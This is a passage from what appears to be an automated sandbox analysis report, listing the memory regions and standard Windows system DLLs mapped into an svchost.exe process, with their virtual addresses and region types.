0x34a0000 end_va = 0x351ffff entry_point = 0x0 region_type = private name = "private_0x00000000034a0000" filename = "" Region: id = 1017 start_va = 0x3540000 end_va = 0x35bffff entry_point = 0x0 region_type = private name = "private_0x0000000003540000" filename = "" Region: id = 1018 start_va = 0x35d0000 end_va = 0x364ffff entry_point = 0x0 region_type = private name = "private_0x00000000035d0000" filename = "" Region: id = 1019 start_va = 0x36b0000 end_va = 0x372ffff entry_point = 0x0 region_type = private name = "private_0x00000000036b0000" filename = "" Region: id = 1020 start_va = 0x3780000 end_va = 0x37fffff entry_point = 0x0 region_type = private name = "private_0x0000000003780000" filename = "" Region: id = 1021 start_va = 0x3810000 end_va = 0x388ffff entry_point = 0x0 region_type = private name = "private_0x0000000003810000" filename = "" Region: id = 1022 start_va = 0x3890000 end_va = 0x390ffff entry_point = 0x0 region_type = private name = "private_0x0000000003890000" filename = "" Region: id = 1023 start_va = 0x3940000 end_va = 0x3b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000003940000" filename = "" Region: id = 1024 start_va = 0x3ba0000 end_va = 0x3c1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ba0000" filename = "" Region: id = 1025 start_va = 0x3ca0000 end_va = 0x3d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 1026 start_va = 0x3d80000 end_va = 0x3dfffff entry_point = 0x0 region_type = private name = "private_0x0000000003d80000" filename = "" Region: id = 1027 start_va = 0x3e60000 end_va = 0x3edffff entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 1028 start_va = 0x3ee0000 end_va = 0x3f5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003ee0000" filename = "" Region: id = 1029 start_va = 0x3f60000 end_va = 0x3fdffff entry_point = 0x0 region_type = private name = "private_0x0000000003f60000" filename = "" Region: id = 1030 start_va = 0x3fe0000 end_va = 0x405ffff entry_point = 0x0 region_type = private name = "private_0x0000000003fe0000" filename = "" Region: id = 1031 start_va = 0x4070000 end_va = 0x40effff entry_point = 0x0 region_type = private name = "private_0x0000000004070000" filename = "" Region: id = 1032 start_va = 0x4100000 end_va = 0x417ffff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 1033 start_va = 0x4180000 end_va = 0x41fffff entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 1034 start_va = 0x4210000 end_va = 0x428ffff entry_point = 0x0 region_type = private name = "private_0x0000000004210000" filename = "" Region: id = 1035 start_va = 0x42e0000 end_va = 0x435ffff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 1036 start_va = 0x43f0000 end_va = 0x446ffff entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 1037 start_va = 0x44e0000 end_va = 0x455ffff entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 1038 start_va = 0x4580000 end_va = 0x45fffff entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 1039 start_va = 0x4680000 end_va = 0x46fffff entry_point = 0x0 region_type = private name = "private_0x0000000004680000" filename = "" Region: id = 1040 start_va = 0x4700000 end_va = 0x47fffff entry_point = 0x0 region_type = private name = "private_0x0000000004700000" filename = "" Region: id = 1041 start_va = 0x48e0000 end_va = 0x495ffff entry_point = 0x0 region_type = private name = "private_0x00000000048e0000" filename = "" Region: id = 1042 start_va = 0x49a0000 end_va = 0x4a1ffff entry_point = 0x0 region_type = private name = "private_0x00000000049a0000" filename = "" Region: id = 1043 start_va = 0x4b50000 end_va = 0x4bcffff entry_point = 0x0 region_type = private name = "private_0x0000000004b50000" filename = "" Region: id = 1044 start_va = 0x4bd0000 end_va = 0x4dcffff entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 1045 start_va = 0x773c0000 end_va = 0x774defff entry_point = 0x773c0000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1046 start_va = 0x774e0000 end_va = 0x775d9fff entry_point = 0x774e0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1047 start_va = 0x775e0000 end_va = 0x77788fff entry_point = 0x775e0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1048 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1049 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1050 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1051 start_va = 0xffaa0000 end_va = 0xffaaafff entry_point = 0xffaa0000 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1052 start_va = 0x7feddee0000 end_va = 0x7feddef5fff entry_point = 0x7feddee0000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 1053 start_va = 0x7fef5270000 end_va = 0x7fef527bfff entry_point = 0x7fef5270000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 1054 start_va = 0x7fef53d0000 end_va = 0x7fef53d7fff entry_point = 0x7fef53d0000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 1055 start_va = 0x7fef53e0000 end_va = 0x7fef5421fff entry_point = 0x7fef53e0000 region_type = mapped_file name = "tcpipcfg.dll" filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll") Region: id = 1056 start_va = 0x7fef5430000 end_va = 0x7fef5469fff entry_point = 0x7fef5430000 region_type = mapped_file name = "mprapi.dll" filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll") Region: id = 1057 start_va = 0x7fef5470000 end_va = 0x7fef5489fff entry_point = 0x7fef5470000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 1058 start_va = 0x7fef5490000 end_va = 0x7fef549efff entry_point = 0x7fef5490000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 1059 start_va = 0x7fef54a0000 end_va = 0x7fef550afff entry_point = 0x7fef54a0000 region_type = mapped_file name = "hnetcfg.dll" filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 1060 start_va = 0x7fef5510000 end_va = 0x7fef5528fff entry_point = 0x7fef5510000 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 1061 start_va = 0x7fef5530000 end_va = 0x7fef557ffff entry_point = 0x7fef5530000 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 1062 start_va = 0x7fef55b0000 end_va = 0x7fef562dfff entry_point = 0x7fef55b0000 region_type = mapped_file name = "wbemess.dll" filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll") Region: id = 1063 start_va = 0x7fef5630000 end_va = 0x7fef5645fff entry_point = 0x7fef5630000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 1064 start_va = 0x7fef5650000 end_va = 0x7fef570bfff entry_point = 0x7fef5650000 region_type = mapped_file name = "wmiprvsd.dll" filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll") Region: id = 1065 start_va = 0x7fef5710000 end_va = 0x7fef5782fff entry_point = 0x7fef5710000 region_type = mapped_file name = "repdrvfs.dll" filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll") Region: id = 1066 start_va = 0x7fef5790000 end_va = 0x7fef57b5fff entry_point = 0x7fef5790000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 1067 start_va = 0x7fef57c0000 end_va = 0x7fef57d9fff entry_point = 0x7fef57c0000 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 1068 start_va = 0x7fef57e0000 end_va = 0x7fef5863fff entry_point = 0x7fef57e0000 region_type = mapped_file name = "netcfgx.dll" filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll") Region: id = 1069 start_va = 0x7fef5870000 end_va = 0x7fef5894fff entry_point = 0x7fef5870000 region_type = mapped_file name = "browser.dll" filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll") Region: id = 1070 start_va = 0x7fef58a0000 end_va = 0x7fef59cefff entry_point = 0x7fef58a0000 region_type = mapped_file name = "wbemcore.dll" filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll") Region: id = 1071 start_va = 0x7fef59d0000 end_va = 0x7fef5a16fff entry_point = 0x7fef59d0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 1072 start_va = 0x7fef5a20000 end_va = 0x7fef5a61fff entry_point = 0x7fef5a20000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 1073 start_va = 0x7fef5a70000 end_va = 0x7fef5b01fff entry_point = 0x7fef5a70000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 1074 start_va = 0x7fef5e10000 end_va = 0x7fef5e95fff entry_point = 0x7fef5e10000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1075 start_va = 0x7fef5ea0000 end_va = 0x7fef5edffff entry_point = 0x7fef5ea0000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 1076 start_va = 0x7fef60c0000 end_va = 0x7fef60c8fff entry_point = 0x7fef60c0000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 1077 start_va = 0x7fef65d0000 end_va = 0x7fef65e6fff entry_point = 0x7fef65d0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 1078 start_va = 0x7fef65f0000 end_va = 0x7fef679ffff entry_point = 0x7fef65f0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 1079 start_va = 0x7fef67d0000 end_va = 0x7fef6843fff entry_point = 0x7fef67d0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 1080 start_va = 0x7fef8830000 end_va = 0x7fef891dfff entry_point = 0x7fef8830000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 1081 start_va = 0x7fef8df0000 end_va = 0x7fef8e66fff entry_point = 0x7fef8df0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 1082 start_va = 0x7fefa810000 end_va = 0x7fefa819fff entry_point = 0x7fefa810000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 1083 start_va = 0x7fefa820000 end_va = 0x7fefa931fff entry_point = 0x7fefa820000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 1084 start_va = 0x7fefac60000 end_va = 0x7fefac6efff entry_point = 0x7fefac60000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 1085 start_va = 0x7fefac70000 end_va = 0x7fefac78fff entry_point = 0x7fefac70000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 1086 start_va = 0x7fefac80000 end_va = 0x7fefac88fff entry_point = 0x7fefac80000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 1087 start_va = 0x7fefac90000 end_va = 0x7feface5fff entry_point = 0x7fefac90000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 1088 start_va = 0x7fefacf0000 end_va = 0x7fefad4dfff entry_point = 0x7fefacf0000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 1089 start_va = 0x7fefad50000 end_va = 0x7fefad67fff entry_point = 0x7fefad50000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1090 start_va = 0x7fefad70000 end_va = 0x7fefad80fff entry_point = 0x7fefad70000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1091 start_va = 0x7fefae80000 end_va = 0x7fefaed2fff entry_point = 0x7fefae80000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 1092 start_va = 0x7fefaff0000 end_va = 0x7fefaffafff entry_point = 0x7fefaff0000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1093 start_va = 0x7fefb000000 end_va = 0x7fefb026fff entry_point = 0x7fefb000000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1094 start_va = 0x7fefb030000 end_va = 0x7fefb043fff entry_point = 0x7fefb030000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 1095 start_va = 0x7fefb060000 end_va = 0x7fefb0c6fff entry_point = 0x7fefb060000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 1096 start_va = 0x7fefb0d0000 end_va = 0x7fefb0dafff entry_point = 0x7fefb0d0000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 1097 start_va = 0x7fefb0e0000 end_va = 0x7fefb0ebfff entry_point = 0x7fefb0e0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 1098 start_va = 0x7fefb0f0000 end_va = 0x7fefb0fffff entry_point = 0x7fefb0f0000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 1099 start_va = 0x7fefb100000 end_va = 0x7fefb118fff entry_point = 0x7fefb100000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 1100 start_va = 0x7fefb120000 end_va = 0x7fefb156fff entry_point = 0x7fefb120000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 1101 start_va = 0x7fefb1a0000 end_va = 0x7fefb1b4fff entry_point = 0x7fefb1a0000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1102 start_va = 0x7fefb1c0000 end_va = 0x7fefb281fff entry_point = 0x7fefb1c0000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 1103 start_va = 0x7fefb4a0000 end_va = 0x7fefb4ccfff entry_point = 0x7fefb4a0000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1104 start_va = 0x7fefb5b0000 end_va = 0x7fefb5c0fff entry_point = 0x7fefb5b0000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 1105 start_va = 0x7fefb5d0000 end_va = 0x7fefb60cfff entry_point = 0x7fefb5d0000 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 1106 start_va = 0x7fefb610000 end_va = 0x7fefb6f1fff entry_point = 0x7fefb610000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1107 start_va = 0x7fefb700000 end_va = 0x7fefb713fff entry_point = 0x7fefb700000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 1108 start_va = 0x7fefb720000 end_va = 0x7fefb734fff entry_point = 0x7fefb720000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 1109 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1110 start_va = 0x7fefb750000 end_va = 0x7fefb765fff entry_point = 0x7fefb750000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 1111 start_va = 0x7fefb770000 end_va = 0x7fefb777fff entry_point = 0x7fefb770000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 1112 start_va = 0x7fefb780000 end_va = 0x7fefb793fff entry_point = 0x7fefb780000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1113 start_va = 0x7fefb7a0000 end_va = 0x7fefb80efff entry_point = 0x7fefb7a0000 region_type = mapped_file name = "esscli.dll" filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll") Region: id = 1114 start_va = 0x7fefb810000 end_va = 0x7fefb836fff entry_point = 0x7fefb810000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 1115 start_va = 0x7fefb880000 end_va = 0x7fefb890fff entry_point = 0x7fefb880000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1116 start_va = 0x7fefb8a0000 end_va = 0x7fefb8aefff entry_point = 0x7fefb8a0000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1117 start_va = 0x7fefb9e0000 end_va = 0x7fefba14fff entry_point = 0x7fefb9e0000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 1118 start_va = 0x7fefbe50000 end_va = 0x7fefbea5fff entry_point = 0x7fefbe50000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 1119 start_va = 0x7fefbeb0000 end_va = 0x7fefbfdbfff entry_point = 0x7fefbeb0000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1120 start_va = 0x7fefbfe0000 end_va = 0x7fefbffcfff entry_point = 0x7fefbfe0000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 1121 start_va = 0x7fefc030000 end_va = 0x7fefc223fff entry_point = 0x7fefc030000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 1122 start_va = 0x7fefc520000 end_va = 0x7fefc53cfff entry_point = 0x7fefc520000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 1123 start_va = 0x7fefc540000 end_va = 0x7fefc548fff entry_point = 0x7fefc540000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 1124 start_va = 0x7fefc6f0000 end_va = 0x7fefc6fbfff entry_point = 0x7fefc6f0000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 1125 start_va = 0x7fefc700000 end_va = 0x7fefc7bafff entry_point = 0x7fefc700000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1126 start_va = 0x7fefc7c0000 end_va = 0x7fefc7c6fff entry_point = 0x7fefc7c0000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 1127 start_va = 0x7fefc8b0000 end_va = 0x7fefc8cafff entry_point = 0x7fefc8b0000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1128 start_va = 0x7fefc8d0000 end_va = 0x7fefc8edfff entry_point = 0x7fefc8d0000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1129 start_va = 0x7fefc8f0000 end_va = 0x7fefc901fff entry_point = 0x7fefc8f0000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 1130 start_va = 0x7fefc910000 end_va = 0x7fefc92efff entry_point = 0x7fefc910000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 1131 start_va = 0x7fefc9e0000 end_va = 0x7fefca18fff entry_point = 0x7fefc9e0000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 1132 start_va = 0x7fefca20000 end_va = 0x7fefca29fff entry_point = 0x7fefca20000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 1133 start_va = 0x7fefca30000 end_va = 0x7fefca3cfff entry_point = 0x7fefca30000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 1134 start_va = 0x7fefcb20000 end_va = 0x7fefcb66fff entry_point = 0x7fefcb20000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 1135 start_va = 0x7fefcc10000 end_va = 0x7fefcc3ffff entry_point = 0x7fefcc10000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 1136 start_va = 0x7fefcc40000 end_va = 0x7fefcc9afff entry_point = 0x7fefcc40000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1137 start_va = 0x7fefcdb0000 end_va = 0x7fefcdb6fff entry_point = 0x7fefcdb0000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 1138 start_va = 0x7fefcdc0000 end_va = 0x7fefce14fff entry_point = 0x7fefcdc0000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1139 start_va = 0x7fefce20000 end_va = 0x7fefce36fff entry_point = 0x7fefce20000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 1140 start_va = 0x7fefcf30000 end_va = 0x7fefcf61fff entry_point = 0x7fefcf30000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 1141 start_va = 0x7fefcf80000 end_va = 0x7fefcf89fff entry_point = 0x7fefcf80000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 1142 start_va = 0x7fefd010000 end_va = 0x7fefd03efff entry_point = 0x7fefd010000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 1143 start_va = 0x7fefd050000 end_va = 0x7fefd0bcfff entry_point = 0x7fefd050000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 1144 start_va = 0x7fefd0c0000 end_va = 0x7fefd0d3fff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 1145 start_va = 0x7fefd320000 end_va = 0x7fefd342fff entry_point = 0x7fefd320000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 1146 start_va = 0x7fefd3c0000 end_va = 0x7fefd3cafff entry_point = 0x7fefd3c0000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 1147 start_va = 0x7fefd3f0000 end_va = 0x7fefd414fff entry_point = 0x7fefd3f0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1148 start_va = 0x7fefd420000 end_va = 0x7fefd42efff entry_point = 0x7fefd420000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1149 start_va = 0x7fefd430000 end_va = 0x7fefd4c0fff entry_point = 0x7fefd430000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: 